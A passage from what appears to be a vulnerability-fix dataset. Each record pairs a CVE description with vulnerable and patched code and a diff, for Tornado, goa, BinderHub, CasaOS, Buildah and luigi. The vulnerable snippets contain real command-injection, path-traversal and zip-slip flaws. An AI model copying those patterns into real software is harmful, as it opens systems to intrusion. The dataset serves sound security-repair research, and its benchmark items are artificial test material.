back to `root` so that we only match files\n        # in a directory named `root` instead of files starting with\n        # that prefix.\n        root = os.path.abspath(root)\n        if not root.endswith(os.path.sep):\n            # abspath always removes a trailing slash, except when\n            # root is '/'. This is an unusual case, but several projects\n            # have independently discovered this technique to disable\n            # Tornado's path validation and (hopefully) do their own,\n            # so we need to support it.\n            root += os.path.sep\n        # The trailing slash also needs to be temporarily added back\n        # the requested path so a request to root/ will match.\n        if not (absolute_path + os.path.sep).startswith(root):\n            raise HTTPError(403, \"%s is not in root static directory\", self.path)\n        if os.path.isdir(absolute_path) and self.default_filename is not None:\n            # need to look at the request.path here for when path is empty\n            # but there is some prefix to the path that was already\n            # trimmed by the routing\n            if not self.request.path.endswith(\"/\"):\n                self.redirect(self.request.path + \"/\", permanent=True)\n                return None\n            absolute_path = os.path.join(absolute_path, self.default_filename)\n        if not os.path.exists(absolute_path):\n            raise HTTPError(404)\n        if not os.path.isfile(absolute_path):\n            raise HTTPError(403, \"%s is not a file\", self.path)\n        return absolute_path"}], "fix_func": [{"id": "fix_py_351_1", "commit": "32ad07c54e607839273b4e1819c347f5c8976b2f", "file_path": "tornado/web.py", "start_line": 2841, "end_line": 2898, "snippet": "    def validate_absolute_path(self, root: str, absolute_path: str) -> Optional[str]:\n        \"\"\"Validate and return the absolute path.\n\n        ``root`` is the configured path for the `StaticFileHandler`,\n        and ``path`` is the result of `get_absolute_path`\n\n        This is an instance method called during request processing,\n        so it may raise `HTTPError` or use methods like\n        `RequestHandler.redirect` (return None after redirecting to\n        halt further processing).  This is where 404 errors for missing files\n        are generated.\n\n        This method may modify the path before returning it, but note that\n        any such modifications will not be understood by `make_static_url`.\n\n        In instance methods, this method's result is available as\n        ``self.absolute_path``.\n\n        .. versionadded:: 3.1\n        \"\"\"\n        # os.path.abspath strips a trailing /.\n        # We must add it back to `root` so that we only match files\n        # in a directory named `root` instead of files starting with\n        # that prefix.\n        root = os.path.abspath(root)\n        if not root.endswith(os.path.sep):\n            # abspath always removes a trailing slash, except when\n            # root is '/'. This is an unusual case, but several projects\n            # have independently discovered this technique to disable\n            # Tornado's path validation and (hopefully) do their own,\n            # so we need to support it.\n            root += os.path.sep\n        # The trailing slash also needs to be temporarily added back\n        # the requested path so a request to root/ will match.\n        if not (absolute_path + os.path.sep).startswith(root):\n            raise HTTPError(403, \"%s is not in root static directory\", self.path)\n        if os.path.isdir(absolute_path) and self.default_filename is not None:\n            # need to look at the request.path here for when path is empty\n            # but there is some prefix to the path that was already\n            # trimmed by the routing\n            if not self.request.path.endswith(\"/\"):\n                if self.request.path.startswith(\"//\"):\n                    # A redirect with two initial slashes is a \"protocol-relative\" URL.\n                    # This means the next path segment is treated as a hostname instead\n                    # of a part of the path, making this effectively an open redirect.\n                    # Reject paths starting with two slashes to prevent this.\n                    # This is only reachable under certain configurations.\n                    raise HTTPError(\n                        403, \"cannot redirect path with two initial slashes\"\n                    )\n                self.redirect(self.request.path + \"/\", permanent=True)\n                return None\n            absolute_path = os.path.join(absolute_path, self.default_filename)\n        if not os.path.exists(absolute_path):\n            raise HTTPError(404)\n        if not os.path.isfile(absolute_path):\n            raise HTTPError(403, \"%s is not a file\", self.path)\n        return absolute_path"}], "vul_patch": "--- a/tornado/web.py\n+++ b/tornado/web.py\n@@ -39,6 +39,15 @@\n             # but there is some prefix to the path that was already\n             # trimmed by the routing\n             if not self.request.path.endswith(\"/\"):\n+                if self.request.path.startswith(\"//\"):\n+                    # A redirect with two initial slashes is a \"protocol-relative\" URL.\n+                    # This means the next path segment is treated as a hostname instead\n+                    # of a part of the path, making this effectively an open redirect.\n+                    # Reject paths starting with two slashes to prevent this.\n+                    # This is only reachable under certain configurations.\n+                    raise HTTPError(\n+                        403, \"cannot redirect path with two initial slashes\"\n+                    )\n                 self.redirect(self.request.path + \"/\", permanent=True)\n                 return None\n             absolute_path = os.path.join(absolute_path, self.default_filename)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-25073", "cve_description": "Improper path sanitization in github.com/goadesign/goa before v3.0.9, v2.0.10, or v1.4.3 allow remote attackers to read files outside of the intended directory.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/goadesign/goa", "patch_url": ["https://github.com/goadesign/goa/commit/70b5a199d0f813d74423993832c424e1fc73fb39"], "programing_language": "Go", "vul_func": [{"id": "vul_go_223_1", "commit": "4f2e802", "file_path": "service.go", "start_line": 366, "end_line": 416, "snippet": "func (ctrl *Controller) FileHandler(path, filename string) Handler {\n\tvar wc string\n\tif idx := strings.LastIndex(path, \"/*\"); idx > -1 && idx < len(path)-1 {\n\t\twc = path[idx+2:]\n\t\tif strings.Contains(wc, \"/\") {\n\t\t\twc = \"\"\n\t\t}\n\t}\n\treturn func(ctx context.Context, rw http.ResponseWriter, req *http.Request) error {\n\t\tfname := filename\n\t\tif len(wc) > 0 {\n\t\t\tif m, ok := ContextRequest(ctx).Params[wc]; ok {\n\t\t\t\tfname = filepath.Join(filename, m[0])\n\t\t\t}\n\t\t}\n\t\tLogInfo(ctx, \"serve file\", \"name\", fname, \"route\", req.URL.Path)\n\t\tdir, name := filepath.Split(fname)\n\t\tfs := ctrl.FileSystem(dir)\n\t\tf, err := fs.Open(name)\n\t\tif err != nil {\n\t\t\treturn ErrInvalidFile(err)\n\t\t}\n\t\tdefer f.Close()\n\t\td, err := f.Stat()\n\t\tif err != nil {\n\t\t\treturn ErrInvalidFile(err)\n\t\t}\n\t\t// use contents of index.html for directory, if present\n\t\tif d.IsDir() {\n\t\t\tindex := strings.TrimSuffix(name, \"/\") + \"/index.html\"\n\t\t\tff, err := fs.Open(index)\n\t\t\tif err == nil {\n\t\t\t\tdefer ff.Close()\n\t\t\t\tdd, err := ff.Stat()\n\t\t\t\tif err == nil {\n\t\t\t\t\tname = index\n\t\t\t\t\td = dd\n\t\t\t\t\tf = ff\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// serveContent will check modification time\n\t\t// Still a directory? (we didn't find an index.html file)\n\t\tif d.IsDir() {\n\t\t\treturn dirList(rw, f)\n\t\t}\n\t\thttp.ServeContent(rw, req, d.Name(), d.ModTime(), f)\n\t\treturn nil\n\t}\n}"}], "fix_func": [{"id": "fix_go_223_1", "commit": "70b5a199d0f813d74423993832c424e1fc73fb39", "file_path": "service.go", "start_line": 366, "end_line": 420, "snippet": "func (ctrl *Controller) FileHandler(path, filename string) Handler {\n\tvar wc string\n\tif idx := strings.LastIndex(path, \"/*\"); idx > -1 && idx < len(path)-1 {\n\t\twc = path[idx+2:]\n\t\tif strings.Contains(wc, \"/\") {\n\t\t\twc = \"\"\n\t\t}\n\t}\n\treturn func(ctx context.Context, rw http.ResponseWriter, req *http.Request) error {\n\t\t// prevent path traversal\n\t\tif attemptsPathTraversal(req.URL.Path, path) {\n\t\t\treturn ErrNotFound(req.URL.Path)\n\t\t}\n\t\tfname := filename\n\t\tif len(wc) > 0 {\n\t\t\tif m, ok := ContextRequest(ctx).Params[wc]; ok {\n\t\t\t\tfname = filepath.Join(filename, m[0])\n\t\t\t}\n\t\t}\n\t\tLogInfo(ctx, \"serve file\", \"name\", fname, \"route\", req.URL.Path)\n\t\tdir, name := filepath.Split(fname)\n\t\tfs := ctrl.FileSystem(dir)\n\t\tf, err := fs.Open(name)\n\t\tif err != nil {\n\t\t\treturn ErrInvalidFile(err)\n\t\t}\n\t\tdefer f.Close()\n\t\td, err := f.Stat()\n\t\tif err != nil {\n\t\t\treturn ErrInvalidFile(err)\n\t\t}\n\t\t// use contents of index.html for directory, if present\n\t\tif d.IsDir() {\n\t\t\tindex := strings.TrimSuffix(name, \"/\") + \"/index.html\"\n\t\t\tff, err := fs.Open(index)\n\t\t\tif err == nil {\n\t\t\t\tdefer ff.Close()\n\t\t\t\tdd, err := ff.Stat()\n\t\t\t\tif err == nil {\n\t\t\t\t\tname = index\n\t\t\t\t\td = dd\n\t\t\t\t\tf = ff\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// serveContent will check modification time\n\t\t// Still a directory? (we didn't find an index.html file)\n\t\tif d.IsDir() {\n\t\t\treturn dirList(rw, f)\n\t\t}\n\t\thttp.ServeContent(rw, req, d.Name(), d.ModTime(), f)\n\t\treturn nil\n\t}\n}"}, {"id": "fix_go_223_2", "commit": "70b5a199d0f813d74423993832c424e1fc73fb39", "file_path": "service.go", "start_line": 422, "end_line": 442, "snippet": "func attemptsPathTraversal(req string, path string) bool {\n\tif !strings.Contains(req, \"..\") {\n\t\treturn false\n\t}\n\n\tcurrentPathIdx := 0\n\tif idx := strings.LastIndex(path, \"/*\"); idx > -1 && idx < len(path)-1 {\n\t\treq = req[idx+1:]\n\t}\n\tfor _, runeValue := range strings.FieldsFunc(req, isSlashRune) {\n\t\tif runeValue == \"..\" {\n\t\t\tcurrentPathIdx--\n\t\t\tif currentPathIdx < 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t} else {\n\t\t\tcurrentPathIdx++\n\t\t}\n\t}\n\treturn false\n}"}, {"id": "fix_go_223_3", "commit": "70b5a199d0f813d74423993832c424e1fc73fb39", "file_path": "service.go", "start_line": 444, "end_line": 446, "snippet": "func isSlashRune(r rune) bool {\n\treturn os.IsPathSeparator(uint8(r))\n}"}], "vul_patch": "--- a/service.go\n+++ b/service.go\n@@ -7,6 +7,10 @@\n \t\t}\n \t}\n \treturn func(ctx context.Context, rw http.ResponseWriter, req *http.Request) error {\n+\t\t// prevent path traversal\n+\t\tif attemptsPathTraversal(req.URL.Path, path) {\n+\t\t\treturn ErrNotFound(req.URL.Path)\n+\t\t}\n \t\tfname := filename\n \t\tif len(wc) > 0 {\n \t\t\tif m, ok := ContextRequest(ctx).Params[wc]; ok {\n\n--- /dev/null\n+++ b/service.go\n@@ -0,0 +1,21 @@\n+func attemptsPathTraversal(req string, path string) bool {\n+\tif !strings.Contains(req, \"..\") {\n+\t\treturn false\n+\t}\n+\n+\tcurrentPathIdx := 0\n+\tif idx := strings.LastIndex(path, \"/*\"); idx > -1 && idx < len(path)-1 {\n+\t\treq = req[idx+1:]\n+\t}\n+\tfor _, runeValue := range strings.FieldsFunc(req, isSlashRune) {\n+\t\tif runeValue == \"..\" {\n+\t\t\tcurrentPathIdx--\n+\t\t\tif currentPathIdx < 0 {\n+\t\t\t\treturn true\n+\t\t\t}\n+\t\t} else {\n+\t\t\tcurrentPathIdx++\n+\t\t}\n+\t}\n+\treturn false\n+}\n\n--- /dev/null\n+++ b/service.go\n@@ -0,0 +1,3 @@\n+func isSlashRune(r rune) bool {\n+\treturn os.IsPathSeparator(uint8(r))\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-39159", "cve_description": "BinderHub is a kubernetes-based cloud service that allows users to share reproducible interactive computing environments from code repositories. In affected versions a remote code execution vulnerability has been identified in BinderHub, where providing BinderHub with maliciously crafted input could execute code in the BinderHub context, with the potential to egress credentials of the BinderHub deployment, including JupyterHub API tokens, kubernetes service accounts, and docker registry credentials. This may provide the ability to manipulate images and other user created pods in the deployment, with the potential to escalate to the host depending on the underlying kubernetes configuration. Users are advised to update to version 0.2.0-n653. If users are unable to update they may disable the git repo provider by specifying the `BinderHub.repo_providers` as a workaround.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/jupyterhub/binderhub", "patch_url": ["https://github.com/jupyterhub/binderhub/commit/195caac172690456dcdc8cc7a6ca50e05abf8182", "https://github.com/jupyterhub/binderhub/commit/195caac172690456dcdc8cc7a6ca50e05abf8182.patch"], "programing_language": "Python", "vul_func": [{"id": "vul_py_193_1", "commit": "034430a", "file_path": "binderhub/repoproviders.py", "start_line": 478, "end_line": 500, "snippet": "    async def get_resolved_ref(self):\n        if hasattr(self, 'resolved_ref'):\n            return self.resolved_ref\n\n        try:\n            # Check if the reference is a valid SHA hash\n            self.sha1_validate(self.unresolved_ref)\n        except ValueError:\n            # The ref is a head/tag and we resolve it using `git ls-remote`\n            command = [\"git\", \"ls-remote\", self.repo, self.unresolved_ref]\n            result = subprocess.run(command, universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n            if result.returncode:\n                raise RuntimeError(\"Unable to run git ls-remote to get the `resolved_ref`: {}\".format(result.stderr))\n            if not result.stdout:\n                return None\n            resolved_ref = result.stdout.split(None, 1)[0]\n            self.sha1_validate(resolved_ref)\n            self.resolved_ref = resolved_ref\n        else:\n            # The ref already was a valid SHA hash\n            self.resolved_ref = self.unresolved_ref\n\n        return self.resolved_ref"}], "fix_func": [{"id": "fix_py_193_1", "commit": "195caac", "file_path": "binderhub/repoproviders.py", "start_line": 478, "end_line": 500, "snippet": "    async def get_resolved_ref(self):\n        if hasattr(self, 'resolved_ref'):\n            return self.resolved_ref\n\n        try:\n            # Check if the reference is a valid SHA hash\n            self.sha1_validate(self.unresolved_ref)\n        except ValueError:\n            # The ref is a head/tag and we resolve it using `git ls-remote`\n            command = [\"git\", \"ls-remote\", \"--\", self.repo, self.unresolved_ref]\n            result = subprocess.run(command, universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n            if result.returncode:\n                raise RuntimeError(\"Unable to run git ls-remote to get the `resolved_ref`: {}\".format(result.stderr))\n            if not result.stdout:\n                return None\n            resolved_ref = result.stdout.split(None, 1)[0]\n            self.sha1_validate(resolved_ref)\n            self.resolved_ref = resolved_ref\n        else:\n            # The ref already was a valid SHA hash\n            self.resolved_ref = self.unresolved_ref\n\n        return self.resolved_ref"}], "vul_patch": "--- a/binderhub/repoproviders.py\n+++ b/binderhub/repoproviders.py\n@@ -7,7 +7,7 @@\n             self.sha1_validate(self.unresolved_ref)\n         except ValueError:\n             # The ref is a head/tag and we resolve it using `git ls-remote`\n-            command = [\"git\", \"ls-remote\", self.repo, self.unresolved_ref]\n+            command = [\"git\", \"ls-remote\", \"--\", self.repo, self.unresolved_ref]\n             result = subprocess.run(command, universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n             if result.returncode:\n                 raise RuntimeError(\"Unable to run git ls-remote to get the `resolved_ref`: {}\".format(result.stderr))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-37469", "cve_description": "CasaOS is an open-source personal cloud system. Prior to version 0.4.4, if an authenticated user using CasaOS is able to successfully connect to a controlled SMB server, they are able to execute arbitrary commands. Version 0.4.4 contains a patch for the issue.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/IceWhaleTech/CasaOS", "patch_url": ["https://github.com/IceWhaleTech/CasaOS/commit/af440eac5563644854ff33f72041e52d3fd1f47c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_117_1", "commit": "34b4e15", "file_path": "route/v1/samba.go", "start_line": 131, "end_line": 157, "snippet": "func PostSambaConnectionsCreate(c *gin.Context) {\n\tconnection := model.Connections{}\n\tc.ShouldBindJSON(&connection)\n\tif connection.Port == \"\" {\n\t\tconnection.Port = \"445\"\n\t}\n\tif connection.Username == \"\" || connection.Host == \"\" {\n\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.CHARACTER_LIMIT, Message: common_err.GetMsg(common_err.CHARACTER_LIMIT)})\n\t\treturn\n\t}\n\n\tif ok, _ := regexp.MatchString(`^[\\w@#*.]{4,30}$`, connection.Password); !ok {\n\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.CHARACTER_LIMIT, Message: common_err.GetMsg(common_err.CHARACTER_LIMIT)})\n\t\treturn\n\t}\n\tif ok, _ := regexp.MatchString(`^[\\w@#*.]{4,30}$`, connection.Username); !ok {\n\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.INVALID_PARAMS, Message: common_err.GetMsg(common_err.INVALID_PARAMS)})\n\t\treturn\n\t}\n\tif !ip_helper.IsIPv4(connection.Host) && !ip_helper.IsIPv6(connection.Host) {\n\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.INVALID_PARAMS, Message: common_err.GetMsg(common_err.INVALID_PARAMS)})\n\t\treturn\n\t}\n\tif ok, _ := regexp.MatchString(\"^[0-9]{1,6}$\", connection.Port); !ok {\n\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.INVALID_PARAMS, Message: common_err.GetMsg(common_err.INVALID_PARAMS)})\n\t\treturn\n\t}"}, {"id": "vul_go_117_2", "commit": "34b4e15", "file_path": "service/connections.go", "start_line": 59, "end_line": 62, "snippet": "func (s *connectionsStruct) MountSmaba(username, host, directory, port, mountPoint, password string) string {\n\tstr := command2.ExecResultStr(\"source \" + config.AppInfo.ShellPath + \"/helper.sh ;MountCIFS \" + username + \" \" + host + \" \" + directory + \" \" + port + \" \" + mountPoint + \" \" + password)\n\treturn str\n}"}], "fix_func": [{"id": "fix_go_117_1", "commit": "af440ea", "file_path": "route/v1/samba.go", "start_line": 129, "end_line": 139, "snippet": "func PostSambaConnectionsCreate(c *gin.Context) {\n\tconnection := model.Connections{}\n\tc.ShouldBindJSON(&connection)\n\tif connection.Port == \"\" {\n\t\tconnection.Port = \"445\"\n\t}\n\tif connection.Username == \"\" || connection.Host == \"\" {\n\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.CHARACTER_LIMIT, Message: common_err.GetMsg(common_err.CHARACTER_LIMIT)})\n\t\treturn\n\t}\n"}, {"id": "fix_go_117_2", "commit": "af440ea", "file_path": "service/connections.go", "start_line": 60, "end_line": 71, "snippet": "func (s *connectionsStruct) MountSmaba(username, host, directory, port, mountPoint, password string) error {\n\terr := unix.Mount(\n\t\tfmt.Sprintf(\"//%s/%s\", host, directory),\n\t\tmountPoint,\n\t\t\"cifs\",\n\t\tunix.MS_NOATIME|unix.MS_NODEV|unix.MS_NOSUID,\n\t\tfmt.Sprintf(\"username=%s,password=%s\", username, password),\n\t)\n\treturn err\n\t//str := command2.ExecResultStr(\"source \" + config.AppInfo.ShellPath + \"/helper.sh ;MountCIFS \" + username + \" \" + host + \" \" + directory + \" \" + port + \" \" + mountPoint + \" \" + password)\n\t//return str\n}"}], "vul_patch": "--- a/route/v1/samba.go\n+++ b/route/v1/samba.go\n@@ -8,20 +8,3 @@\n \t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.CHARACTER_LIMIT, Message: common_err.GetMsg(common_err.CHARACTER_LIMIT)})\n \t\treturn\n \t}\n-\n-\tif ok, _ := regexp.MatchString(`^[\\w@#*.]{4,30}$`, connection.Password); !ok {\n-\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.CHARACTER_LIMIT, Message: common_err.GetMsg(common_err.CHARACTER_LIMIT)})\n-\t\treturn\n-\t}\n-\tif ok, _ := regexp.MatchString(`^[\\w@#*.]{4,30}$`, connection.Username); !ok {\n-\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.INVALID_PARAMS, Message: common_err.GetMsg(common_err.INVALID_PARAMS)})\n-\t\treturn\n-\t}\n-\tif !ip_helper.IsIPv4(connection.Host) && !ip_helper.IsIPv6(connection.Host) {\n-\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.INVALID_PARAMS, Message: common_err.GetMsg(common_err.INVALID_PARAMS)})\n-\t\treturn\n-\t}\n-\tif ok, _ := regexp.MatchString(\"^[0-9]{1,6}$\", connection.Port); !ok {\n-\t\tc.JSON(common_err.CLIENT_ERROR, model.Result{Success: common_err.INVALID_PARAMS, Message: common_err.GetMsg(common_err.INVALID_PARAMS)})\n-\t\treturn\n-\t}\n\n--- a/service/connections.go\n+++ b/service/connections.go\n@@ -1,4 +1,12 @@\n-func (s *connectionsStruct) MountSmaba(username, host, directory, port, mountPoint, password string) string {\n-\tstr := command2.ExecResultStr(\"source \" + config.AppInfo.ShellPath + \"/helper.sh ;MountCIFS \" + username + \" \" + host + \" \" + directory + \" \" + port + \" \" + mountPoint + \" \" + password)\n-\treturn str\n+func (s *connectionsStruct) MountSmaba(username, host, directory, port, mountPoint, password string) error {\n+\terr := unix.Mount(\n+\t\tfmt.Sprintf(\"//%s/%s\", host, directory),\n+\t\tmountPoint,\n+\t\t\"cifs\",\n+\t\tunix.MS_NOATIME|unix.MS_NODEV|unix.MS_NOSUID,\n+\t\tfmt.Sprintf(\"username=%s,password=%s\", username, password),\n+\t)\n+\treturn err\n+\t//str := command2.ExecResultStr(\"source \" + config.AppInfo.ShellPath + \"/helper.sh ;MountCIFS \" + username + \" \" + host + \" \" + directory + \" \" + port + \" \" + mountPoint + \" \" + password)\n+\t//return str\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-10696", "cve_description": "A path traversal flaw was found in Buildah in versions before 1.14.5. This flaw allows an attacker to trick a user into building a malicious container image hosted on an HTTP(s) server and then write files to the user's system anywhere that the user has permissions.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/containers/buildah", "patch_url": ["https://github.com/containers/buildah/commit/c61925b8936e93a5e900f91b653a846f7ea3a9ed"], "programing_language": "Go", "vul_func": [{"id": "vul_go_122_1", "commit": "aba0d4d", "file_path": "imagebuildah/util.go", "start_line": 38, "end_line": 65, "snippet": "func downloadToDirectory(url, dir string) error {\n\tlogrus.Debugf(\"extracting %q to %q\", url, dir)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error getting %q\", url)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.ContentLength == 0 {\n\t\treturn errors.Errorf(\"no contents in %q\", url)\n\t}\n\tif err := chrootarchive.Untar(resp.Body, dir, nil); err != nil {\n\t\tresp1, err := http.Get(url)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"error getting %q\", url)\n\t\t}\n\t\tdefer resp1.Body.Close()\n\t\tbody, err := ioutil.ReadAll(resp1.Body)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to read %q\", url)\n\t\t}\n\t\tdockerfile := filepath.Join(dir, \"Dockerfile\")\n\t\t// Assume this is a Dockerfile\n\t\tif err := ioutil.WriteFile(dockerfile, body, 0600); err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to write %q to %q\", url, dockerfile)\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "vul_go_122_2", "commit": "aba0d4d", "file_path": "imagebuildah/util.go", "start_line": 67, "end_line": 83, "snippet": "func stdinToDirectory(dir string) error {\n\tlogrus.Debugf(\"extracting stdin to %q\", dir)\n\tr := bufio.NewReader(os.Stdin)\n\tb, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Failed to read from stdin\")\n\t}\n\treader := bytes.NewReader(b)\n\tif err := chrootarchive.Untar(reader, dir, nil); err != nil {\n\t\tdockerfile := filepath.Join(dir, \"Dockerfile\")\n\t\t// Assume this is a Dockerfile\n\t\tif err := ioutil.WriteFile(dockerfile, b, 0600); err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to write bytes to %q\", dockerfile)\n\t\t}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_122_1", "commit": "c61925b", "file_path": "imagebuildah/util.go", "start_line": 39, "end_line": 66, "snippet": "func downloadToDirectory(url, dir string) error {\n\tlogrus.Debugf(\"extracting %q to %q\", url, dir)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error getting %q\", url)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.ContentLength == 0 {\n\t\treturn errors.Errorf(\"no contents in %q\", url)\n\t}\n\tif err := chrootarchive.Untar(resp.Body, dir, nil); err != nil {\n\t\tresp1, err := http.Get(url)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"error getting %q\", url)\n\t\t}\n\t\tdefer resp1.Body.Close()\n\t\tbody, err := ioutil.ReadAll(resp1.Body)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to read %q\", url)\n\t\t}\n\t\tdockerfile := filepath.Join(dir, \"Dockerfile\")\n\t\t// Assume this is a Dockerfile\n\t\tif err := ioutils.AtomicWriteFile(dockerfile, body, 0600); err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to write %q to %q\", url, dockerfile)\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_122_2", "commit": "c61925b", "file_path": "imagebuildah/util.go", "start_line": 68, "end_line": 84, "snippet": "func stdinToDirectory(dir string) error {\n\tlogrus.Debugf(\"extracting stdin to %q\", dir)\n\tr := bufio.NewReader(os.Stdin)\n\tb, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Failed to read from stdin\")\n\t}\n\treader := bytes.NewReader(b)\n\tif err := chrootarchive.Untar(reader, dir, nil); err != nil {\n\t\tdockerfile := filepath.Join(dir, \"Dockerfile\")\n\t\t// Assume this is a Dockerfile\n\t\tif err := ioutils.AtomicWriteFile(dockerfile, b, 0600); err != nil {\n\t\t\treturn errors.Wrapf(err, \"Failed to write bytes to %q\", dockerfile)\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/imagebuildah/util.go\n+++ b/imagebuildah/util.go\n@@ -20,7 +20,7 @@\n \t\t}\n \t\tdockerfile := filepath.Join(dir, \"Dockerfile\")\n \t\t// Assume this is a Dockerfile\n-\t\tif err := ioutil.WriteFile(dockerfile, body, 0600); err != nil {\n+\t\tif err := ioutils.AtomicWriteFile(dockerfile, body, 0600); err != nil {\n \t\t\treturn errors.Wrapf(err, \"Failed to write %q to %q\", url, dockerfile)\n \t\t}\n \t}\n\n--- a/imagebuildah/util.go\n+++ b/imagebuildah/util.go\n@@ -9,7 +9,7 @@\n \tif err := chrootarchive.Untar(reader, dir, nil); err != nil {\n \t\tdockerfile := filepath.Join(dir, \"Dockerfile\")\n \t\t// Assume this is a Dockerfile\n-\t\tif err := ioutil.WriteFile(dockerfile, b, 0600); err != nil {\n+\t\tif err := ioutils.AtomicWriteFile(dockerfile, b, 0600); err != nil {\n \t\t\treturn errors.Wrapf(err, \"Failed to write bytes to %q\", dockerfile)\n \t\t}\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-21542", "cve_description": "Versions of the package luigi before 3.6.0 are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) due to improper destination file path validation in the _extract_packages_archive function.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/spotify/luigi", "patch_url": ["https://github.com/spotify/luigi/commit/b5d1b965ead7d9f777a3216369b5baf23ec08999"], "programing_language": "Python", "vul_func": [{"id": "vul_py_36_1", "commit": "c9a0d20", "file_path": "luigi/contrib/lsf_runner.py", "start_line": 47, "end_line": 62, "snippet": "def extract_packages_archive(work_dir):\n    package_file = os.path.join(work_dir, \"packages.tar\")\n    if not os.path.exists(package_file):\n        return\n\n    curdir = os.path.abspath(os.curdir)\n\n    os.chdir(work_dir)\n    tar = tarfile.open(package_file)\n    for tarinfo in tar:\n        tar.extract(tarinfo)\n    tar.close()\n    if '' not in sys.path:\n        sys.path.insert(0, '')\n\n    os.chdir(curdir)"}, {"id": "vul_py_36_2", "commit": "c9a0d20", "file_path": "luigi/contrib/sge_runner.py", "start_line": 59, "end_line": 74, "snippet": "def _extract_packages_archive(work_dir):\n    package_file = os.path.join(work_dir, \"packages.tar\")\n    if not os.path.exists(package_file):\n        return\n\n    curdir = os.path.abspath(os.curdir)\n\n    os.chdir(work_dir)\n    tar = tarfile.open(package_file)\n    for tarinfo in 